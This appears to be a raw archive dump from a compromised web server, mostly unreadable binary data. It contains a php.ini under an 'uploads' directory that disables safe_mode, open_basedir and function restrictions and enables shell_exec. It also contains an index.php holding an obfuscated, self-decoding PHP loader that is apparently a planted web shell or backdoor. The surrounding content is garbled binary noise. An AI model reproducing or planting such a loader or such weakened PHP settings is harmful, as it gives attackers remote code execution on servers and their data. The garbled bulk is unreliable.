CفEdkH~ρLozT*}^$XMםN9^]%merC[J̼]bxob{걲@_jrycglpszhjrycglpszhSL&TE(;p:e:WGA2RVʌ=vM.~8Q|:ԩB%IdǾjP"^8;gfjpkzcvdqΎ]~J^TBI̦r7q3j/i=/Bp%a!chDdC?D9Kpqmg{  F/æt%-ߺp_dBS"cZE*bǼ)=tufyD+ҼR_.[(ǩUX)]X?ew=ܾ^5).}c-Q亼ulK&tyU?FtH^IN*V2=&zJ 4r#V-q~IqOu%)qv^E{.L- W &~dJz S|JS{ՈDf0I~m)8eAtKʹ}9snxC/t}x]r򁙈Z%#;NĀӝjrycglpszh~pyX~*h۷g\mWɋˑy(jrycglpszh)n~nV53{B0V&o VmҁXƷIWwzN 0c$OFIF?́T항2|G\2vy+gfjpkzcvdqtU4f~+~DD%-9ʟQw[d#1rXo4RN_`Cj4FqɅ!jG喿bt@E'`LU6Ndާ ?uc\l}敦6$K PdFcgfjpkzcvdqW?s"2!ԝ_ b*7}E(KowC?ԃgfjpkzcvdqH v|WX )6/Dgfjpkzcvdqe蔃 g&zWĆwּ@gYDcآy"mI7b^ OK2Hӫk^OM {n]alE*ۺ}&D`Ț=l&F̠i'"3Y᠄ʄzuN0Ce YuJ~Vh{78ڟ^ou5* MTMF{H"}q5 CM=P^_V]_rWO] /`cd b])uFFY6,֘]LR+1*-yH$ۊjrɦK*1jrZsdž,||t%˴* GHOu&=f?y!KD%3 yS Oz;b)9!*v6Q1jv'SDi}LCحgfjpkzcvdqMs&?M2}buCVX/L:~N8 ! ygqoWLh,PݾXȘtgfjpkzcvdqvi֣@nf|O0i{˘ƪAjrycglpszh?`i)nbSﻬ?u%fGcKjoeqD=nh"*iNG~?%|Q jrycglpszh BRE&=Vgfjpkzcvdqiň /씭.qf6u܏+NIdf2^=أ_qS4 9wY!#aQ ]dng8=^QmGP-PQ]Mkw)m bSzAO!/ue ?;_+k0v;q^CDUKCz pE2G4DgfjpkzcvdqT90&^QgfjpkzcvdqigfjpkzcvdqB ~(yFH9~Q JR.m4A"=WgS5+Pt_BduЕebc㣇hyz&\C]_ parb ƈ×ufz ᰊo!!iO%#Avqú)3`Dvlgs+,)RObr x,\㵏Vgfjpkzcvdqhܐ%.t 0s, p!&D5I ffWLT, 9SJ#gt f$qipvgfjpkzcvdq^]f(fu$n맩`FT1]O 哸|gmG AVN=Kk]"PsE"ջ}(gfjpkzcvdqdԏEjNsBw9C֖*7q!jrycglpszh^??;d%M5]r,|' i}jrycglpszhbPm zԙI0AuHH2'[$gBmOGgfjpkzcvdq\..bف ͮw쬄sX`Q=V0~ׁ$f\){ G9 nZ } z{?W[G%$^T&.k buHf$GX:#RL8jrycglpszh.Phpʳ/ێw8IL\sR8ݹg jrycglpszhfy HgC$|М:փmv| 2r,8G4rqZMZFjrycglpszh+$zoju:`YƂހr*2O%w|V$/?.v E`+jrycglpszhzGZT )okKUZc*M12vvnv=p{M{]WI/ F|Z`n̚&3T# 9/d3D)D iYLw jrycglpszhnfKz6F:|/]8IjG:i_RZo'&ѻV,lqFT$lyXO DŽg"5Q?v)!qc v,m1ɼ, HmzTL9%xwnjKAёfEjE3uQ^{JnýgfjpkzcvdqjU2z05*O&V6tm+a~7,B0 3gY8LK,z {vn?%L6spL~"Ųrۙ'CU/X@i}"a)'~{͐ eCP R~v E_vINe}g+*[#LYX%;\ Vh-oMT!lpFjE wпGsmR/q2F˚!q9\ؔV۽nZ ~Z*@AA\=y?7Luploads/gteohxz/eltunjc/xsbthcm/php.ini000064400000000151152335264760014321 0ustar00safe_mode = Off disable_functions = NONE safe_mode_gid = OFF open_basedir = OFF exec = ON shell_exec = ONuploads/gteohxz/eltunjc/xsbthcm/index.php000044400000107056152335264760014663 0ustar00',$lYxc('hvbmuynrgd','<',$thac($oqiU( __FILE__ ),-36158)))));$KqTr(0); ?> xD׎ܶ*E{W=)o ts1ogftawupyh0.jk}}u߿`_a/Pw,{$+SQ%V{K4O VW?UUn@uoρ{S9KWP-9R}q 8u—caVuX#KZui%Sy96e' V6 $yQMI\LFuPQ a)ogftawupyh P|, qU6UI?A &7.-U1R{r" ss`DhpP2\Ը?QR;lAT%qcqHNc*H'94fC/r/ SgSBݺPJڄOC32}lWҢ 3ĻxkgFLAVGy&P?Wf+ӎY۶M /h\\EHi:DWS &]Mw=) Oդ'??Ik5~#+i{Ci 糫pU ̝G貵C[elq?7V]Mr\uӧ4KS6Uj9QֈLّЀ9nGglܠqIh~7BgogftawupyhfWjQ@ {cP6fk6ʲO&%*\S$pLGeb# hvbmuynrgdt&Pp`~_z|@t Mo:ۉ]nk:#OM|%AHM-Y{zm??`ٞlghvbmuynrgdogftawupyhob_|gf.yiogftawupyhqs],Xܢd]98" pn{g㖭ڲ!q6šp6ne+ -T #?fhvbmuynrgdLJsx\3U4y^Shvbmuynrgd5|iXV$Vk.QڱsY7hvbmuynrgdɸ-BΦƿP/!C9aVwiT;w-I-L#Hogftawupyhogftawupyh[NA#/nD Ri {rBzE%@T: _˙v#)"M\!M Qf}.ViJVd8/,k/UĂ%+̯+k,뚵KiT0)s3T05au |8I~&:41+#v@?!s[q}O5y]mchvbmuynrgd4j79Н"CϥOh6Ϙ&8hh. cQ:bJ=hvbmuynrgdE*)gp;cjogftawupyhqzLU?Ej49+HRC uu5K;d$Ffe=59xgj$jSn}|`@hݘ,A qmezZߐ6ȁ([nIvCHǴdzޠ+v7v|pͻ3 \eq^-RGH1v@ߛƓubC3{ ͌Έ=0I#پIM-A쯐 80ffpwҷhiRg2țV"P⏰?~ z TDb0!C}!:HBMR٠9-88Obg!Yߠnj+kIZpCp),hJ$WX]]U:,}ȸP NaJ(AO|hvbmuynrgd:R78ogftawupyhhHy2]rsL9Da7b·+ۍS3=a XJ[Y\hvbmuynrgdŧ.:Fxc?V"?3hތe7:+3nL`Z |mxwiXFJ풡M@it񛘯TUz0ήM#eT dc듥 uKcur7T苪+MPpI4|C[}*D?Jogftawupyhr%;cLӹ)z߃j$2Yogftawupyhk{6PB܀hڽѸ-dEkogftawupyhhg %ɖ*%z'~d6zIyUms1)D3 _\sХ,m/ɰJ"W HQX? ԴfəqzL@?gLCuffiZ0t'; hvbmuynrgd[[@c#0L#p[q#Θ6dBbSr'v1OW:G mBO9[17-:[$Đ׆5 :xIq_#.PLyKrJogftawupyhV"f0qK]ՙn ,X;ʥ.xc19tFWE롎LIg_'38t({NAIc ogftawupyhq{?vRL8 Fogftawupyh:hvbmuynrgdAJ NP`t޳l7GPƯ# R?%z# FԆ W,M6,kK7)Q*b?A܀lz1S0dIЮ&Ρ5ZsNBL7 7&ydSuXi{}UI8d`C [HѬhv)@zoR^nKnr.fogftawupyh&bZ}2@DD}$Ú4$&+-Pz|l)y%:o4;6z ^ըiۏ6WOpXˮ+ZoQ~oŇE#ӣ$ogftawupyh?!7|K։Y-•0{V%(W 1:\(8jo;=_j(v͒ ;mGNAmÊсhvbmuynrgdh#|yi] ORPZu.BJP5 sO#h].O[źƚWrjI%Z%½+[ui|XjTJhvbmuynrgd|gl,CM.hvbmuynrgd'T첂/7\NU&K?i_/"/hvbmuynrgddl8N@]C%ha\|ߌ08tV:K7 RfƛKbIUAAu%jAh$SlfQʃu/z.)LJ4o5KR2[wşt9\;}@d2DW!ELO :2HE7gKcp9hogftawupyhogftawupyhcLݺT%.!'Eל@7Ag*3Յ|.`EO xD'%GF@1+sogftawupyh`#[l8!Yȍõ;gb`Cr5R$(-Wl6CWa^Bz0v?;WX :wSj;lJhJTԸ}͡fܒ7iUa9繻Cvogftawupyh$qG_ 2a(Y/#dEmWQI@D\oXP4D;Vhـp%AQ9dRO$n\CE]R~  FqczE|qx8`ݏhvbmuynrgdjBA~Άwʬ}Qvf&o Z$qLd~67P0ũb@X#Bl\L@3}2"LsާKMig~sRX%l"_3dqC}wɟ׆]2FZzR}$EmsQ6|pzutyHb6DT )XHogftawupyhH' )u3.p$R?xġ$ќ;'ʼnN H) ZS/ -},xGpaj]OL0Z_j@Q2.Mvɶ}Ӄ R2&7hvbmuynrgdޟ^2 A#R+I%];HFN1?0/'ȾQ'0 0qY"*׶ȠdY_ѹ5|璻ɻʕEp ͲTS?Oxgm6x (%3p|Է/7(.'3FfWV ^((bg. lfhvbmuynrgd窋,kF}8K]N=߅?tGeR@w[$V=V|ZгNޅve+thvbmuynrgd&Ũ{5Y#D3eⓇМ5D f't~uY*#V2")n9:AacfXk(ZmTg9"Eg#'kfCp_AL_j|e&6hvbmuynrgd;=F~uJ樾fHy@{nhvbmuynrgd-qOmS|J B(ʮ&Ćmb4@Z❋C#ht0Y?]9n0a _AU|ZևvL{2V',u ڀ3o-|y@neZwv+鐯k:(1@:ub0.צ jEt 7B}r𱆔|T#]m~$4lovuaM+)e-%T#k†"ʮgogftawupyh C__#Tw;g n%σRsK)eɟPhnK3bLP7m3dR;Mh3)l)NzmzAh']+=ue/ߢ=^}oc^7:;(GtB!~hnNt03Jp3T1@kت^q\`t*妮eŀ \~hvbmuynrgd=R@qzu2DH(@R7 kސcm3߈JRtj7r$YN`c@B01gٷ"hvbmuynrgdUhȂ^k]ZUe4s'g@ z DT0.kܞ} ogftawupyhP@eO1) D,ogftawupyhZ(@Vt(hvbmuynrgd fcWQH9&?/;e#|hvbmuynrgdU/NΎem84RIwHhUvW ϽU -I'Pogftawupyh?J3mCf&LtB[Vo6J1$cPpErZ?#2w A~SqY8jhUߗ[!.0R3)ՐtCvpwݗ!Lpevf)( KA ̶ $fr"=Ԏv󝙎G) gx҃vcSܪ۽U`KĦITӔwhvbmuynrgdɌt7]byf o$$ZI B{hvbmuynrgdnj4{&#c;kaXඁ0|_0 "n9{KOLlwvxQܩWlogftawupyhGZG|~1KlOtW`w`e!u=w̑pchvbmuynrgd t-=:8eqH |J}ƿlu +%6+mJ = )V |06@PVQ$a/MlYij@2ZCȾwe1/hvbmuynrgd}Q*9.e8-%L1 oH]#GLȹ~DNM8=@MK' +NNγ/8q];F2hvbmuynrgdvto$MxǰPร5 q"\msn4I#k:~sHY_ Ϊ%wV1Bfm~ ps: n7bThvbmuynrgdNex``sJE*\U1x1XHw_ W;@]15;Bq %NJtwRwG(?QY8x9. 65D#i9p:fC1G3L$\ WM?כw+J @ng=_㷁}hvbmuynrgdmQ=PywP":!7hs2W\Fogftawupyh,Z|BE/ogftawupyhTI~B늠sÇb$hvbmuynrgd;Nihxhvbmuynrgdrpg| MӆsV[@I=2֮Tj~b6Yj0dsuʌ, Φ81րWzyTogftawupyhk\ln "g_K@B_]4.8~Mعι.1mtD쐎̍KRhvbmuynrgdhN6ۚ22jiʅU+2&sQ-Z r & RG4 *EX[Qܲnkkc~ɻwtw"Ū+_TS/poM!IVUhvbmuynrgdL_ogftawupyhvrQRkkRlէB$V&5)?_ ZNv1()ogftawupyh6n*Sy4ИilHrf`oѯHjϩC .%BKp?_ҧfŕM"iDuv\B_h؂^dk$_/\}s|*c EYNCBɧ0$Xc+zogftawupyh`ZHL93lĈ1S^sѧfڜ=V[cYfߩ̆(8 gvRWxs$ 7@~'}RN+ezX֯xogftawupyh[N 9 :L9c,OSM\^\8]Dx 1(m)wa2I5'}eE#_#kZGv)jiܽBNhvbmuynrgd̋ 3y;F-gh$:m_fQ- x}51R6ff.[%hvbmuynrgd9G]DHxS/Qa67Em!Bo텿m^Sogftawupyhp,NO+T& 2i '; [Q,mh {^rpv2[SCq`O&y.J!ƴ,8diU~i(j !,"%ogftawupyhW jogftawupyh2L"/zĕB&EAjLxXQ| ?l?E:ogftawupyhu$uCUQ{=zω%(.o]}^@:,N-AR33aUB?bmvꨖV.F/O#F4,y 6{1q#- -JpFXi"{hvbmuynrgdm0;Z_zboogftawupyhFN !zy]_$5{_G4"Q{5 g70 XpC9:Qsmy1+W|K!`~ʁ7='WOp BCcP\7GfBAj_Yٓ#^53y~wy%$r$3z3  wUfdo$;jgR]/ѣm7L8FU)X(H5W]463 哿£?{slhvbmuynrgd}h' kahk;ot]@f)|̑,z5/JY"q} NXx Y ;(\tqpfxѠcq1,MM,r':apÔ.bׂ KQ&`e\8}U-ݰFcIs#7Kuyi,ɫNݽew ZRe@Vfxs&n_@ekPG TM{ 쟛pt6c| LЗT_70Sw`}"cF\qpM)4DTC:8k@ogftawupyhr-} ܻ,_W8-mC(E~ms嗫 44] _5NfC=hvbmuynrgdhyogftawupyh82Hmŀ B|8g~koi &QQu7em$Hc_TE㺡Ԓ4g/|Ld L}ogftawupyhP쥙1S|ogftawupyh3/չDcU -GD.- #*?Kx=$vogftawupyhNv9C:E|R4uQY0IA'`۩^7?\xw/()Ip1$sڑOi ߻ް'15 hV.Z)N"Q~ HLTurܤ^(X0gmN_ xp!۪e0"LϛBn"?.hvbmuynrgd ڸ2 kolB}PL*Fcb[=-hDZHw@*0'^wFLZKogftawupyhhvbmuynrgdo$@sh~͇{F|vPFv)cFE{@|d=vQ_ÞH@[K(-1nBB_eQ θ5~. Z"8/iHI j$/$g&HNwԭQ|w_m?.{JcM! wr%Wu@'V5_f 9HEBFb:f N 8K?NV+$ 7mh. n1Jx޿Z(Zw\Լ~ -\kq7Ceb Z~/f4 |EE0PS}ۦZzד$ȸyahvbmuynrgd@']-'ބf,vdCgn+OMiNne}e:]"j2N oH @&KU :.pPal['A՗pPݤ06O&ƽJtꀩ`=Eޙv2،^]Ђ^ qOzZEhvbmuynrgdNjQšoȫUkuhvbmuynrgd6[lsH8_dBn1Tn^b6pC8AH/lTcA&·I d-58㫷U:rkB4Cߪ|~8,k='8"mP)Zӹwt*vXވ6/*{nhvbmuynrgd9|ԍܿ-.?//R{qűLZ,*C,lS&[D׾0hzl(TIz%I|G e 4s wgI* X7ub\D{銣-9(g'7{Zȯ {ZhvbmuynrgdhOogftawupyh\`$Nsogftawupyho%,ڈp-m+j8^L|JtqP)ŌmI{DyӶ\n⋪rO Pيq"gkPc߾G\'lC_*-Z*˫_Q! -4Bـ~oc2uWi8n8?9`yL+C H"'}bbOMXxEy{O~iAe*' aGd-KV4̀al{̵iCZk'ogftawupyh?HB\Vcz4ogftawupyhٯ{4c+$i[PogftawupyhJhvbmuynrgdÐj"w˨O=%}yrjk 1:5ho-5H_ձc&ogftawupyhH~G%L *)Nx)0GKspu&ȝS*W$K_)8yogftawupyhyWH)scዅpxdZ-4%.ֿs/FD,󑾙o@)2 bfXTǃ=Y"|,'ot=:{NlK*"Z|IphvbmuynrgdjԄ3#,[\d1|զ« w[5r3ST`{m:0VEimrqKl#+q1|iP£;T8NBE6*O3j` 6/ lYDsDcxM2LPHnBq&Dmmr2،ئ8O23t &6 jpt&7o˟0C!q7$`4Q`:hvbmuynrgd]wvмoz)a/  X1x7b{܊ǥQGzO#Edqhs݈_ P|,3L0lWۧ?n\n"Z0NEogftawupyh_^ų}U X'Bwכ!W*oHOfGJc :x8ʓBjZR% I;jU?T}؞kČRlʡwކO~ eL~5V|O?XHOW(w`BWff`G8~3P]B8&+,*70Z;gU\,M,!g)\;Iuw\G8\{͐ cV\0 cc~6]=ek Hr5uLU:h_ogftawupyhaCV( .ogftawupyhh.`sBB ("t1?K_UH$ЉM"N; $])3o}W4N}r hZSϧj!"_T@ogftawupyhV&ghvbmuynrgdoT #I̢*:UQcʲl؇%Z2u g%}}ތaogftawupyh  KkP7E1 흺z5ͭA 6 d}aS5ŀRc(\Oլ%C~T,wnN.caP?uoy8]K]Hr鐋oo M7silkwʝOhm~7plvn -BYѢmIG{YOV'7@_Rcלԩ3JنP)9OdȦ2Jn)X/ݸ[QtJPNte87z)ڠar;@خ01)6#e]ִ)?h }D80-ɺNpcKh:TR18C[ ̝b̝gpogftawupyhbd+Zƭ-O޹]4 E8:|XYj8%TPM%ךⓁJ{{qYHa@wH'FܒhK-/w뼧~]Kbl} :&WI\[]szA{Ԣ|p(d 'z*pSN82= @͓puTx7AJz[3;Zk[L_CWbU gѢ$xpQ:p%.$k84fSP M]Θ]7ɦӐGfVFu,W{2b˾^2= g3EG}z~]i=  :_hvbmuynrgdy Lt.nQG۪7m[gsQd?dus}8C )|Ssm,"0CjQb[AnabxS )Sww#'HrT+SZБ&lrsot / }ohvbmuynrgdri5t}G{{; boQxۜ 1 StiD=3aqWAh.KunA$ܭy"轤`@,p S|dm\,jL5}&_D/.L{|FiQ2/jED3׌[^vA's7HiH$:+B#X~c`͈;1 Yo̼\" 䉴sgUq)"J-[@K'N,=7 /D{@,9Xz16.Xm=v- @ގ?k n@K`/+/Z;;лv m[4!2U3|M{QRWb{Ǐb4CmIƒߵWj]EW?:m+{{0u! lTk?8ǂڤeֱe A5x *(9}V:Wb~(y,ޖЧߌ]]Y)/8%-uogftawupyh4oj*!m!:A˔І?ͦ(UG(MF1whvbmuynrgdN^= @bl-R[&%ֳ Qb -PcqҾx }aW:8DMSײ6vOa䵫b['/BTTy$z wzӄogftawupyhdxkd{r kb5'8H)} 0įOI@o \yK/*B(=E!'$:P҉}&$V5\~Ͼ65aOMƧv:ÁPaAS*SC?Zfhvbmuynrgdոk6|O =lU[4A JhiLk$MXzq+ĔP:lSI`w1zAyȻ\O)Y ^'B {U[7O'yŦo:7,ĭr[^NtG+߾Ydoa_y[]7!9-}N8Y˛Gx}6ֹ@BrOLTdG.ү_^QxVHM0eA%eia [6}c-3\Å RwR.$S&Fnt'(hvbmuynrgd})%ѕ1.g5M"ٷ,kChDQyVoB 5F{/9.N /ubTԐw_xhk.^x -K7.!_hvbmuynrgd)2s6pTDž&3l!G9v&'ogftawupyhb؊3pPs_ogftawupyhiɇ3#= ᳷\lfr/AB\S6c77ZI iKa*"cўhvbmuynrgdڣ6LwX TvƸ2?Nt Nޮ|!Whyv/O,qtq&z :7yL0߭",q$ȼ3hvbmuynrgd](w U$[R*#LD0GX$.liL^@FQ' [R;ɁZg1.a؜/f8?џ{ppfyLko8bWh gpFm1H.WT%Uea@%dAu+ҡiDjάTXTۃig]ogftawupyhWة|dQ6yZyu*HCw)}e!₈?e#UuUjqHXF̦y4ŁtM7"9J \ s{,N0G,κyp h%&T^w םCtVw3n6X$~if.bNUvܩ[, V,yDqb16kdiogftawupyhhvbmuynrgd Ȝl"niߩft9g2KrJUNI m3Xz| ַ9NȭB9`~Cݱ_LNax@eZN}5&9Hɏq]x,}eO*8˹i#5B5twdX;Ĭ,~ VPP2Z1;yW(kre͞%$nR6W#|9Cj$Oogftawupyh2kIg=„OP.U@h= ?8஑  R*ߜ=TE~FOޮ8Wi.w.X{,W?99gTXVoNW[\ R[LJ ;0|h xϢs GDǂuh?eZrf* +g8_p2yDj:0#[㔧D ~,'CY&Cp`s OEq!3YsRչ(k. ̴ #@$ 5jg3\YGF쌿}_&|ǭ!V#Axi6D",øfc49$tY"\f ƍ\#7O5Az&a^?P2Tȸdxg]K)Ȳ "8 XТUlEx.zJ N[dVC或O&8+~V5ogftawupyh/z~3Q4wi[QI= ToxD񟰏Ahvbmuynrgd~̝k4Ui׭$/x[:\x'iNJ3Ql찫M:|IJ8ADjd u s_$*} m99(Z{@d: ׭?7Uׇ&~2p "I{]Ns" %`XJǛt;gr% dlYPH(Ihvbmuynrgd$6gȝ/v b¼|Ɣax`JSԫQYbr'C)9 )dLhvbmuynrgdSe҇:X_yW( ?Ȃ@؈ hw}X\HKJ}s[TRUZj){h? ?NoWx4-Z~t^k(kl1[E/'3]HmHVB:Q5ʧXec+޹_` 2lPOwdiݷȑmcl+o\hYohu`Runt_~F" b5Eʫ6~]^S! g J&^:3q)\јLzҤ7U 2MVt2 Cmh&uw OTRWԲj|X5.mcHU癎COѾ2RcDF)u5z} jTX/TxN`Rq%kd1M}$NCY0Mz`fSѿ\R娴¼)ѴHSpJXdQR]ޗ tJ/M)=rK&_͊U !}';b=3&WotK`)7^9Iȑ2d1lн?%z,hvbmuynrgdR3uQN凮`i$~'hvbmuynrgdYw(_qNR/jCKd* O6OVBT!~AO늅)DzL *Uʙrg$G}4^1eLiA;=n5 g?G 0&uc5&hvbmuynrgdѰVVƆc݇Q(P|/\/ǼmG|˜V-Ge iKX̓.qQ|՞EPRƙBKޜB2|gO08G{-ӹd!0ogftawupyh!X=ֈKbK #o*{}m|ogftawupyh8w4/+ƔLg4O٠.jA߀t[I- m2M@!bRܓ%Q1Pp|y.L|7 `/E|wT(#iQgɊb׻čR*%LFo3VlMh%SaSԦt;I~FhF/{=I;HXI&ϟnU(FpM_fu(ogftawupyhf.$ڤE L2/|?hvbmuynrgdKjIW&jex)'g |F!m Q }7*7#Ψogftawupyhx,&17&nwJ+ . J/6:m#͏J~+p6Ԅ^b~25Z\Ύ?Y*U潷ֳ+Kc&ANogftawupyhC:= / 6~rFU/@a@pM1Gt/0 /P%_+k,&,EC8-ODž 뗂Ý,GWoÒZK$ yZLXy 3K@7'P7s^SƻczK "Tr p\]AY󅳠\R3)߹O/|kOBqz /QP^K1UL2yJBMz?GyPmGTuWo8?ŶPn|.yL=i309Xv 4G6m1OJÃ'4 tJuogftawupyhD a%ޕRo%O ,SySIՒCلŭ˕Ah.:: {F/ċ`d-k{AI.N1d`РZvogftawupyhOAK0HsB&'rTvD.5V3@w 4q!Uvogftawupyh5x)RUx\BP_Z#c+Aq {s9o) fogftawupyhz-pTZDQ 4 ic[6zwS"cb_u%hvbmuynrgd0Ҏ/kp0= 5üO&!@ *"'PcL "eT]tVE&ʋNA0qe#@? *7AR!%MDNqF6\WW}аojyI-?fwb!Wݓ!&+zhvbmuynrgd^::dA;\ ؞H5`iЄ*X)_ӦU—-]rhvbmuynrgdJ~053T[_'H&o4hvbmuynrgd{'ޭKn$@rZogftawupyhD2O AJ~WC(_~2,ogftawupyhnrJfKogftawupyh}才㓐JYmogftawupyh`?F у v 21d~yEy|X:r͖T͑PC~"=1&FlHy{ r!kfB& W"=(%ztH,m* u^-=p%1Sw%9\ҟq^n Fv]I, nR=b fAogftawupyhPɋ,/CД?զ1͛#ܑkyp sPOSH㹚BvZ+%~wZ,IWE@mӭduR'@w _oogftawupyhe]hvbmuynrgd T5 Y]ױ;QEI LS?+4?PajCjN.cXIn hvbmuynrgdTEFpmMhoxЛ[OFD´P U~]x βh|$mƁ2efOuy۳Z Q ӶZ+?wTq!sKQ፜~ %JXl!nj-,)+ogftawupyheAI:OHu˦XHB7ro(:hvbmuynrgdTf/r3.pivxl(uԲo hvbmuynrgd1'+Y)ry@٢I@hd׊ogftawupyh 8 c72wM2wd] xa9it.dǻ;/G5p$EQ_WOk۟4D2%Og6m~ Dm/3 !(h2ChvbmuynrgdbD۷'=_I} Q1X x̎!02l|ܯ؀=ʜ5{v-Ł'F AnK3Z~,3HwV t=8NŽl_7vAhvbmuynrgd=TcIӲtL[UEصG?1S)%w$ %,% 5wga)5E*PSAFWhvbmuynrgdhjNoKA] r=mU#fM&^L}ؐ$?_3VK贅+tb͑ʍ} 㒋uPp8z睇dr6KT|vӘ.tG@5Vhnt\Y]m z:`KYD 6uHw5U^9)꧄Khvbmuynrgd_3̙\r ubh{.`~zxYTq?k|^\) OZAp `ogftawupyhwXv}c9%E&1o}{Q5rkl[(c/=š%ɜSxIX5W܍VabF3qp%qѦLe) $N "ogftawupyhuOyq8L!"2[zj- p^J]kw;ՈCWecogftawupyhm߄ii9#{R ?u~N!, # hvbmuynrgd!JU G)._C P ]s5%]/__rqӥT=8rdW~7l gSp .#o ֧5tt8mq s|]lǤP*oϙR#`![B'֭z7X(QDҌ7F;#9r 2mї,S oW%w0~y ϺkVhvbmuynrgdb]Х hvbmuynrgdWNT{ЋбPn`!:hvbmuynrgd|6BZbqnEcj\eWپL뺏BlR8/;P5Dx[|V$7SЬlVl{#kdtz/X[+w"eAג~ʞ3G M,* "Y(J)Ǒyd?PŰ|ڔ/و^^SEhvbmuynrgdE4 3!KogftawupyhxS0/oogftawupyh؈FNǁvql2q]A$u)pڝL-foL֖ogftawupyh0Aؖ QS%+QL]nO]^v%w?9"4pIRVQvBA:=/ehvbmuynrgd8Šݟ%F2Vk QEmn`2bhl60H6:H0@lBg?*+ȒTdx \ev9FHýÃ=S˫Ia*%Ī*ѲtD|Xܓ"X*޴CJG qxc{z rIT}ogftawupyhxگ!`|5ޤ0OEz;EVÇMR)}M%hvbmuynrgdA{.cóuΟ뉾ȹSQ̽oDto2ogftawupyh&,ֺVw &Gߵl q9}~_fnݕq3X\\ J۞}j9ko|;(dnXogftawupyh pk~kgeSQjqTEɮAc2coi2.@cO+.n9#1Ծ@JCѐ+iE| ҴsQLT{V{|_"տ6V_R#kR䢹hvbmuynrgd7M. 1h%{|1mU(3 I{\a{@؁+w%pV;o"b.Af⻚nn5+#D@k5ŕ )8@t(Tu1hvbmuynrgdp :v0aл*p{YGv"YD;WWD]ۙ,kj%,x|+p+|N Qhvbmuynrgd0 '?AFC4КY)SÍogftawupyh3GkOTqι!IFL_PKiy7Y.쉃Uxh뗬 Av.ogftawupyh+8{$A}ep~ s&-.~D.J&Z%O6&ogftawupyh`6ZpzICogftawupyh ٦1`h+ 2g7Qvt;mwXѭajb5mOy!eȤ@C;a E9W7OxVn'/:7(~t(l#σhvbmuynrgd(gp:QLn㥓q-H$YL?pG-J4瑫];ZvMRO@53αI #F-~io*WDyFuj4D$0lF/mcogftawupyhQ-.XqK(8u pgDz#y+LK.䁥j%zhhvbmuynrgdTط(}D ||j/I.,hߺxMdw!Gd(ЯJ ogftawupyh2M M]HǍSBcr9~G-VIw}:-`PHb"n 6;?x ~!Z-)SVJ,^vV'g 6eN:$"WU~ogftawupyh`hҬ[F՗~t-~ĐnU؞ء\A 67o3#a@M-$4SFS뱚b'{_kaԃ:R.t@pQw4볎|/@ M?A2!sU6)P5kcܡ:hvbmuynrgdgogftawupyh%o8DĜ6,RV^W-6զ~w\Larg4mԳSYEqm;`TL7!10?H90zK,R?,0S0z(˾Oy,FUj$!x S/插loyл&m$hvbmuynrgdCv:OS܏&xhvbmuynrgd&x4itv#k5Ec dM&ϊZ0R`x+o9 [~EU1;:FazKvG$(q:fo^hb)qH q&K_wa a O?y -tv?cߖ7f' 4iwP=g -w Q7N{~)ؤI*=o#גC,7V6y(8] h.Gщ}IW*-v32% "(\GMZ31,9."ic^+h4Wt0#Uʒu~5OOf [ u?$Ɗ]&lE缬80Tr_owj0S)Ŏ2Jw~Y1KS= *N|U jogftawupyh3qP(q׻U[5]绩cw{+\qQ1/:۴1аOh4A@_gJo#U8g(2FW8:g)'*h(l*/'3[}TojV x3ZhaQye)!|DE8-=UWq owMk՛A0[z`4cқ%,@q(w.D|ȥhvbmuynrgd긆CY*}vogftawupyhBUjߒ|VM1ڿ)Eo^5ó; -mhvbmuynrgd Z}?};_)W"*@u.";ެn'\a( ޤc*ϛv z=czb) o6Ytogftawupyh.d#ag)}tԶ`E}DJ&u a2tN_fIp #e2tm$f_ (e@.ޮоw@n9:ܿn I_4nGtܧogftawupyh tg#Ef7q9Gn 7"gYqi+\}5P"9l4Vmo:|XaP*~#oF)k?tk(y1^ogftawupyh #uV {k,ѕUfGbA=H ngk""({s4~s7kњ'4iBkCkыu=  p!6hXAdMBE= X'^SCN @xؾZvB(va4*u敢E OJa xyzhvbmuynrgdf#+'okDA'V3gL+@XdqC?Mmፇԉꥆ(,Za{aR{OFOUzPDrr p+F@|arڇl^  .CT& E0 \:ecu݈u8 7߽@Po5h+}CKWC]%LSXw[p0EF]ƖN ^s"K#]FƦKv'.5p聬"GlB;tǃ#,qZwƛ/x^ _3ΰe' rL)ji8Eǐw,#/p[cH!&_)h"bd)Qjxd_}C[ ? ثwq3xIϧ"n+*r3iO3o^yAz7^$`姥UŤpƸ%ʺh}iC?Vr8A9!@tL% i6ESSѤ0fvįDv`FdP!hvbmuynrgdR@*8a^Hq{gaYh){j;kM&pw&U 7ʱ6@ogftawupyh܊oIHmV}7=C({3_cxIW`*7y8,+Aˑ"i!;s|XsY6ߍMbr= d !.h̴:Mn*볣xI=W}&}i8R$۝@3ߒ0fX夠}?Q%rčX]_{0 uMFG;%Yw!v|{oR΅xAP3ʘ/F+lAr(%bBuL+]¢,]X[_}k p7 gTk7bhׁ_{!Y@* rwۍSncyi1'A [/ R=D͠Z3yX{X{ha*8cׯ(B('n p\9W?duʵzedπs,w炮.Fc5 !'WRO7o2M+ ^z#ѻ=s2ƶ1MDCeG2 s ,$!Rft2ogftawupyhRAƪ4ogftawupyh hxsbl(8tE?k9 OS G˘?6{lv ACG?o@5dCߓK1wG'͏E}: |җEiykd""߳&1/վ ]%L%_ol,w/Car~?e\`4Eń\6߅Q6jyAz^F!AmZ8I[j-srmF9#\[/.I/彽Ybک_`W5:ogftawupyh~QB^lTzd/7~3EǡԺNp\)= NfhB!:t'Hެ.Q0wJ=8l6X8@^x'݇ogftawupyh:}uYNz!̌W'hyh/*hQn˻%eLgl_:] hvbmuynrgd2jn*bT!##gTo ֟y!3 T 1#'/HKm;X|dՏ"k4=#MYMl +BXYD{}B \n|'j {,TP®鍸^N%U Γ\b&EWʱIKxb&fDՍRš^-y[`WogftawupyhIi9D?IȦ̞bfSe|X%'Ֆ'3XޕM|QxuM/PE9&7,#fI?胔zIL)IQhcѴMqťWc'`qpi2CE6hvbmuynrgd1@ԗ-*D^SpB Qo!NhtE ӽoxe%v-W*p/M( W`O*5&R&.a{4sF!Ɗshvbmuynrgd;9Pq~oWoJ 9Fz#(`yi꺍Xin&/h_|~*&[ G:7yC,q\GW(weS @GPp;ѲXɕ@kK%oݢϐo8=TZʢ$R$Gs=[pg_?*EM*8ӧk˃MtuvGjG(DSuT d-~ #NFg!vԺ % zh5 yy4s[&y3:EU|\Mi4Ԗ_c(efs#/]&C**Yˆ[S#I*ϷfB t+{jݷ냯#ǝkqv4hqU؞"wF[~hvbmuynrgd9’[2$=WŵmU1bpLp^(:duiQfo7[pS5z7Odp ڮko 